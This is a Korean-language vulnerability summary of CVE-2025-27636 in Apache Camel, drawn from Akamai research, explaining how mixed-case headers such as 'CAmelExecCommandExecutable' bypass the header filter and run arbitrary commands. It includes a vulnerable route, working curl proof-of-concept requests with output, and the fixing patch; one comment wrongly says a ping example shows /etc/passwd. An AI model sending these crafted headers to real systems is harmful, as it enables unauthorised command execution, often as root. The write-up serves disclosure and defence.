[하루한줄] CVE-2025-27636 : Apache Camel의 Case-Sensitive Header Filtering Bypass로 인한 RCE

URL

https://www.akamai.com/blog/security-research/march-apache-camel-vulnerability-detections-and-mitigations

Target

  • Apache Camel 4.10.0 ≤ 4.10.1
  • Apache Camel 4.8.0 ≤ 4.8.4
  • Apache Camel 3.10.0 ≤ 3.22.3

Explain

Apache Camel은 다양한 시스템, 애플리케이션, 클라우드 서비스 간의 원활한 데이터 교환을 가능하게 하며 광범위하게 사용되는 오픈소스 통합 프레임워크입니다.

Apache Camel은 DefaultHeaderFilterStrategy.java를 사용하여 내부 헤더(CamelHttpResponseCode, CamelHttpUri, CamelContextId, org.apache.camel.* 등)가 외부로 전달되지 않도록 차단하여 민감한 라우팅 정보 누출을 방지합니다.

Root Cause

Apache Camel의 기본 필터링 로직은 대소문자를 구분하는 방식(case-sensitive)으로만 정확한 일치를 검사했습니다. 필터링 조건은 다음과 같습니다.

header.startsWith("Camel") || header.startsWith("camel") || 
header.startsWith("org.apache.camel")

그러나 다운스트림 로직에서 이러한 헤더들이 대소문자를 구분하지 않는 방식으로 적용되었습니다. 따라서 공격자가 헤더의 대소문자를 변경하면(예: CAmelExecCommandExecutable, cAMELHttpResponseCode), 필터를 우회할 수 있었습니다.

PoC

Akamai는 Camel의 Exec 컴포넌트를 사용하는 샘플 취약한 애플리케이션을 제작했습니다. 애플리케이션은 HTTP 엔드포인트를 노출하고, 정상적으로는 “whoami” 명령을 정적으로 정의하여 실행합니다.

from("jetty:http://0.0.0.0:80/vulnerable")
    .log("Received request from client")
    // define a static command. This can be overwritten using the "CamelExecCommandExecutable" header
    .to("exec:whoami") 
    .convertBodyTo(String.class) 
    .log("Command Output: ${body}");

명령이 정적으로 정의되어 있음에도 불구하고, CamelExecCommandExecutable 헤더를 전달하여 명령을 재정의할 수 있습니다. 이 헤더는 Apache Camel 공식 문서에 명시되어 있듯이 정적 URI를 덮어씌웁니다. Apache Camel은 이러한 헤더를 필터링해야 하지만, 대소문자 처리 오류로 인해 “CAmelExecCommandExecutable” 헤더를 전달하면 필터를 우회할 수 있습니다.

정상 요청

$ curl "http://localhost:80/vulnerable" --header "CamelExecCommandExecutable: ls"
kali

악의적 요청 (명령 변경)

$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ls"
pom.xml
src
target

악의적 요청 (민감 정보 유출)

*$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ping" --header "CAmelExecCommandArgs: -c 2 8.8.8.8"
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=98.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=46.4 ms

--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1012ms
# 결과: /etc/passwd 파일 내용 표시*

CAmelExecCommandExecutableCAmelExecCommandArgs 헤더를 모두 사용하여 임의의 명령과 인수를 지정합니다. 이 경우 ping 명령이 실행되고 결과가 클라이언트에 반환됩니다.

성공적 악용 시, 공격자가 지정한 시스템 명령이 Camel 프로세스의 권한(일반적으로 root)으로 실행됩니다.

Patch

Apache는 DefaultHeaderFilterStrategy.java의 필터링 로직을 업데이트하여 toLowerCase(Locale.ENGLISH)를 추가하였습니다. 모든 헤더 이름이 필터 적용 전에 소문자로 변환되도록 변경했습니다.

java*// 수정된 필터링 로직*
String name = header.toLowerCase(Locale.ENGLISH);
if (name.startsWith("camel") || name.startsWith("org.apache.camel")) {
    return true; *// 필터링됨*
}

예를 들어, CAmelHttpUri는 camelhttpuri로 변환되어 필터 조건과 일치하므로 차단됩니다.

Reference

https://github.com/akamai/CVE-2025-27636-Apache-Camel-PoC